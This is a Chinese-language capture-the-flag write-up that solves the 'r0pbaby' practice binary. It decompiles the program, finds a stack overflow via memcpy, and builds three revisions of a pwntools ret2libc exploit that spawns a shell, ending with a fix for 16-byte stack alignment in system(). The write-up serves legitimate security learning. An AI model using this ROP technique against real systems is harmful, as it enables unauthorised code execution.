题目来源CTF-Wiki练习题,下载链接:R0pbaby
题目分解
先来检查一下程序保护
64位程序,开启了堆栈不可执行,地址随机化还有一个我们先前没有见过的FORTIFY,谷歌简单查了一下知道它用于检查是否存在缓冲区溢出错误,但只是很轻微的检查,所以我们忽略不计。
先来运行一下看一下它的面貌
程序具有四个选项,其中前两个选项可以输出libc的地址和libc中某一函数的地址,第三个选项可以把数据拷贝到栈上而且给出了我们所能输入的最大值1024
,由此盲猜选项三应该存在栈溢出,丢到IDA里面看一看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *v3; const char *v4; signed int v5; unsigned __int64 v6; int v7; size_t v8; int v9; void *handle; char nptr[1088 ]; __int64 savedregs; setvbuf(stdout , 0LL , 2 , 0LL ); signal(14 , handler); alarm(0x3C u); puts ("\nWelcome to an easy Return Oriented Programming challenge..." ); puts ("Menu:" ); v3 = (_BYTE *)(&dword_0 + 1 ); v4 = "libc.so.6" ; handle = dlopen("libc.so.6" , 1 ); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_BF7(v4, v3); if ( !sub_B9A(nptr, 1024LL ) ) { puts ("Bad choice." ); return 0LL ; } v3 = 0LL ; v5 = strtol(nptr, 0LL , 10 ); if ( v5 != 2 ) break ; __printf_chk(1LL , "Enter symbol: " ); v3 = (char *)&dword_40; if ( sub_B9A(nptr, 64LL ) ) { dlsym(handle, nptr); v3 = "Symbol %s: 0x%016llX\n" ; v4 = (_BYTE *)(&dword_0 + 1 ); __printf_chk(1LL , "Symbol %s: 0x%016llX\n" ); } else { v4 = "Bad symbol." ; puts ("Bad symbol." ); } } if ( v5 > 2 ) break ; if ( v5 != 1 ) goto LABEL_24; v3 = "libc.so.6: 0x%016llX\n" ; v4 = (_BYTE *)(&dword_0 + 1 ); __printf_chk(1LL , "libc.so.6: 0x%016llX\n" ); } if ( v5 != 3 ) break ; __printf_chk(1LL , "Enter bytes to send (max 1024): " ); sub_B9A(nptr, 1024LL ); v3 = 0LL ; v6 = (signed int )strtol(nptr, 0LL , 10 ); if ( v6 - 1 > 0x3FF ) { v4 = "Invalid amount." ; puts ("Invalid amount." ); } else { if ( v6 ) { v7 = 0 ; v8 = 0LL ; while ( 1 ) { v9 = _IO_getc(stdin ); if ( v9 == -1 ) break ; nptr[v8] = v9; v8 = ++v7; if ( v6 <= v7 ) goto LABEL_22; } v8 = v7 + 1 ; } else { v8 = 0LL ; } LABEL_22: v3 = nptr; v4 = (const char *)&savedregs; memcpy (&savedregs, nptr, v8); } } if ( v5 == 4 ) break ; LABEL_24: v4 = "Bad choice." ; puts ("Bad choice." ); } dlclose(handle); puts ("Exiting." ); return 0LL ; }
这次的程序在IDA里面有一丢丢庞大,我们一点点来看,前面大部分内容就是控制程序的流程,后面会看到LABEL_22:
里面有一个memcpy(&savedregs, nptr, v8);
,这是个字符串拷贝函数,使用不当会造成溢出,所以我们需要控制程序ret到我们的shellcode
由于程序的第一个选项是获取到libc的地址,所以我们就要利用libc来获取我们需要的shellcode,先来找一下libc版本
1 2 3 4 5 baymrx@ubuntu:~/Desktop$ ldd ./r0pbaby linux-vdso.so.1 (0x00007ffce4bad000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1553c24000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1553833000) /lib64/ld-linux-x86-64.so.2 (0x00007f155402b000)
可以看到程序使用的是libc.so.6
这个链接库,与我们在程序运行时看到的提示相符
然后我们找一下程序覆盖到ret所需要的偏移量,在peda里先生成一个包含50个字符的随机字符串(这里起初想用cyclic,但是运行之后好像不能在64位程序上使用)
在peda中让程序跑起来,执行第三个选项,输入刚刚生成的随机字符串
可以看到程序断在了0x0000555555554eb3
这个位置,但我们并没有看到RIP被覆盖,这是因为64位的程序覆盖的地址不能超过0x00007fffffffffff
,即RIP里面存的地址不能超过这个值,所以程序崩溃的时候RIP并没有被覆盖,要找到准确的偏移量,我们就要使用 x /gx $rsp
查询esp的值
得到正确的偏移地址0x6e41412441414241
,然后我们再使用pattern_offset找到偏移量是8
得到偏移量之后,我们还需要system函数的地址、pop rdi
的地址和/bin/sh
的地址来构造我们的shellcode,system地址可以从程序中直接读取,另外两个在程序里面找不到就只能根据相对于libc的偏移地址来确定了,而libc的地址刚好也可以从程序中读取,那么下面只需要找到pop和binsh相对于libc的偏移
pop rdi
的偏移是0x000000000002155f
/bin/sh
的偏移是0x00000000001b3e9a
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *sh = process('./r0pbaby' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) if args['M' ]: gdb.attach(sh) sh.sendlineafter(': ' ,'1' ) sh.recvuntil('libc.so.6: ' ) libc_addr = sh.recvuntil('\n' ,drop = True ) print '[*]libc_addr: ' + libc_addrbase = int (libc_addr,16 ) sh.sendlineafter(': ' ,'2' ) sh.sendlineafter(': ' ,'system' ) sh.recvuntil('system: ' ) system = sh.recvuntil('\n' ,drop = True ) print '[*]system_addr: ' + systemsys_addr = int (system,16 ) binsh = base + 0x00000000001b3e9a print '[*]binsh: ' + hex (binsh)pop_rdi = base + 0x000000000002155f payload = 'a' *8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) print '[*]pop_rdi: ' + hex (pop_rdi)sh.sendlineafter(': ' ,'3' ) length = str (len (payload)) sh.sendlineafter('1024): ' ,length) sh.sendline(payload) sh.recvuntil(': ' ) sh.send('\n' ) sh.interactive()
OK,我们来执行一下,Yea…emmm好像并不能正确获取到shell,程序会直接结束返回终端,脚本抽筋了?
多试了几次,依然是这个结果,显然是脚本编写有问题
修改exp
确定偏移找的没有问题那么我们就需要确认一下程序给我们的地址是不是有问题,打开gdb调试
先让程序正常跑起来,并输出1、2两个选项的地址
然后按Ctrl+C
打断程序进入调试模式
先看libc的地址,输入vmmap
可以看到,这里显示的libc地址显然与程序中输出的并不一样。至于原因嘛,程序中输出的libc的地址其实是指向libc的指针的地址
然后我们再来看一下system的地址,输入p system
可以看到这里的system地址与程序中输出的地址是相同的,说明程序中输出的system地址是正确的,而libc地址只是一个幌子,需要我们自己去寻找
由于程序开启了地址随机化(PIE),所以我们肯定不能使用上面找到的地址,程序每启动一次地址都会随之发生变化,只能靠偏移来计算libc基地址。用程序泄露输出的system地址减去libc中查到的system偏移地址就可以得到libc的基地址,这里我们会用到pwntools里的ELF模块
下面修改一下我们之前的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *sh = process('./r0pbaby' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) if args['M' ]: gdb.attach(sh) sh.sendlineafter(': ' ,'2' ) sh.sendlineafter(': ' ,'system' ) sh.recvuntil('system: ' ) system = sh.recvuntil('\n' ,drop = True ) print '[*]system_addr: ' + systemsys_addr = int (system,16 ) base = sys_addr - libc.symbols['system' ] binsh = base + 0x00000000001b3e9a print '[*]binsh: ' + hex (binsh)pop_rdi = base + 0x000000000002155f payload = 'a' *8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr) print '[*]pop_rdi: ' + hex (pop_rdi)sh.sendlineafter(': ' ,'3' ) length = str (len (payload)) sh.sendlineafter('1024): ' ,length) sh.sendline(payload) sh.recvuntil(': ' ) sh.send('\n' ) sh.interactive()
再次执行脚本
,,好像又失败了,程序再次在获得shell之前就被中断了
再一次修改exp 彡(-_-;)彡(终极)
这次的问题原因找了好久也没有什么头绪,最后决定一点点跟着程序走来看一下到底哪里出现了问题,为什么会获取不到shell
首先怀疑程序脚本没有使程序正确获取到shell,在脚本中添加gdb.attach()进行调试,不断ni
执行下一条语句直到出现main函数的ret
从图中可以看出,脚本执行成功覆盖了栈上的数据,而且也是按照我们安排好的顺序排布的,但是却依然不能通过system函数执行获取shell,再继续执行程序查看
pop rdi
的调用是没有问题的,那么就继续往下
可以看到字符串/bin/sh
的地址也成功被存入rdi寄存器中,前面都没问题,那么问题一定出现在system函数上了,按下c
让程序在gdb中继续运行直到它崩掉
然后可以看到程序在<do_system+1094>
处崩溃被中断了,这里的movaps XMMWORD PTR [rsp+0x40],xmm0
指令是要求[rsp+0x40]
的值是16byte(0x10)对齐,否则会直接触发中断使程序崩掉
这里的解决办法就是修改我们的payload,使得程序执行时栈的地址发生变化,从而改变这里system函数中的rsp的值。具体方案是在payload中添加一个ret
先找一下ret
指令的偏移
OMG!!有点多……
滑动鼠标从最上边开始找吧,
还好,老天还是比较眷顾我们的,把需要的gadget放到了第一个,那么它的偏移就是0x00000000000008aa
再来修改我们的exp,把ret添加进去~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *sh = process('./r0pbaby' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) if args['M' ]: gdb.attach(sh) sh.sendlineafter(': ' ,'2' ) sh.sendlineafter(': ' ,'system' ) sh.recvuntil('system: ' ) system = sh.recvuntil('\n' ,drop = True ) print '[*]system_addr: ' + systemsys_addr = int (system,16 ) base = sys_addr - libc.symbols['system' ] binsh = base + 0x00000000001b3e9a print '[*]binsh: ' + hex (binsh)pop_rdi = base + 0x000000000002155f ret = base + 0x00000000000008aa payload = 'a' *8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr) print '[*]pop_rdi: ' + hex (pop_rdi)sh.sendlineafter(': ' ,'3' ) length = str (len (payload)) sh.sendlineafter('1024): ' ,length) sh.sendline(payload) sh.recvuntil(': ' ) sh.send('\n' ) sh.interactive()
在执行一次,
OK,大功告成,终于获得了我们心心念想的shell
在这里要感谢一下Ex大佬提供的解决思路 ~ ~ (传送门)->在一些64位的glibc的payload调用system函数失败问题
另外再推荐一个这道题比较有趣的解题视频:https://www.youtube.com/watch?v=uWPSBqXXB0Y